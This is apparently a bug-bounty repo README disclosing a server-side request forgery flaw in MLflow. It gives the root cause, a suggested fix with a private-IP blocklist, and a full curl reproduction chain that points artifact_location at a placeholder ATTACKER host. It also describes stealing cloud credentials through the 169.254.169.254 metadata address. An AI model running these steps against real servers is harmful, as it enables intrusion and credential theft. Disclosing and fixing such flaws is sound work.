YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
MLflow SSRF via HTTP artifact_location
Overview
| Field | Value |
|---|---|
| Bug class | CWE-918 β Server-Side Request Forgery |
| Target | mlflow/mlflow |
| Platform | huntr.com (Open Source Library program) |
| Affected version | β€ 3.12.0 (latest) |
| CVSS | 8.6 High β AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N |
| Auth required | None (default MLflow has no auth) |
Root Cause
_validate_experiment_artifact_location() in mlflow/utils/validation.py:723 only blocks runs: URIs. All other schemes β including http:// and https:// β pass without restriction.
When a run's artifacts are accessed via GET /get-artifact, the server constructs an HttpArtifactRepository from the run's artifact_uri and issues an outbound HTTP GET to the attacker-controlled host.
Vulnerable Code
# mlflow/utils/validation.py:723
def _validate_experiment_artifact_location(artifact_location):
if artifact_location is not None and artifact_location.startswith("runs:"):
raise MlflowException(...)
# β http:// passes through with NO validation
Trigger Path
POST /api/2.0/mlflow/experiments/create
β _validate_experiment_artifact_location() [only blocks runs:]
β stored in DB
GET /get-artifact?run_id=X&path=test
β get_artifact_handler() [no auth, no scheme check]
β _get_artifact_repo(run)
β get_artifact_repository("http://ATTACKER/mlflow-artifacts/artifacts/{run_id}/artifacts")
β HttpArtifactRepository
β list_artifacts("test")
β HTTP GET http://ATTACKER/mlflow-artifacts/artifacts?path={run_id}%2Fartifacts%2Ftest
Reproduction
Quick (no server needed)
pip install mlflow
python3 poc_mlflow_ssrf.py
Expected output:
[!!!] SSRF CONFIRMED - MLflow made outbound HTTP request!
GET 127.0.0.1:19998/mlflow-artifacts/artifacts?path=...
Full HTTP API chain
# Start MLflow server (default config, no auth)
mlflow server --backend-store-uri sqlite:///mlflow.db --host 0.0.0.0 --port 5000
# Step 1 β create experiment with attacker-controlled artifact_location
EXP=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/experiments/create \
-H "Content-Type: application/json" \
-d '{"name":"ssrf","artifact_location":"http://ATTACKER/mlflow-artifacts/artifacts"}' \
| python3 -c "import sys,json; print(json.load(sys.stdin)['experiment_id'])")
# Step 2 β create run
RUN=$(curl -s -X POST http://localhost:5000/api/2.0/mlflow/runs/create \
-H "Content-Type: application/json" \
-d "{\"experiment_id\":\"$EXP\"}" \
| python3 -c "import sys,json; print(json.load(sys.stdin)['run']['info']['run_id'])")
# Step 3 β trigger SSRF
curl "http://localhost:5000/get-artifact?run_id=$RUN&path=test"
# β MLflow server GETs http://ATTACKER/mlflow-artifacts/artifacts?path={run_id}%2Fartifacts%2Ftest
Impact
- Internal network access β MLflow server makes HTTP requests to any host the attacker specifies
- Cloud credential theft β via redirect chain to
http://169.254.169.254/latest/meta-data/iam/security-credentials/{role}(requests follows redirects by default) - Response exfiltration β HTTP response body returned to attacker via
_send_artifact() - No authentication required β default MLflow config has no auth
Files
| File | Purpose |
|---|---|
poc_mlflow_ssrf.py |
Working PoC β standalone + HTTP API mode |
report.md |
Full huntr-format vulnerability report |
poc-evidence.html |
Terminal output evidence page |
README.md |
This file |
Suggested Fix
Add private IP blocklist in _validate_experiment_artifact_location():
import ipaddress, urllib.parse
BLOCKED = [ipaddress.ip_network(r) for r in [
"169.254.0.0/16", "10.0.0.0/8", "172.16.0.0/12",
"192.168.0.0/16", "127.0.0.0/8", "::1/128",
]]
def _validate_experiment_artifact_location(artifact_location):
if artifact_location is None:
return
if artifact_location.startswith("runs:"):
raise MlflowException(...)
parsed = urllib.parse.urlparse(artifact_location)
if parsed.scheme in ("http", "https"):
try:
ip = ipaddress.ip_address(parsed.hostname)
if any(ip in r for r in BLOCKED):
raise MlflowException(f"artifact_location targets internal IP: {parsed.hostname}")
except ValueError:
pass # domain β allow
Inference Providers NEW
This model isn't deployed by any Inference Provider. π Ask for provider support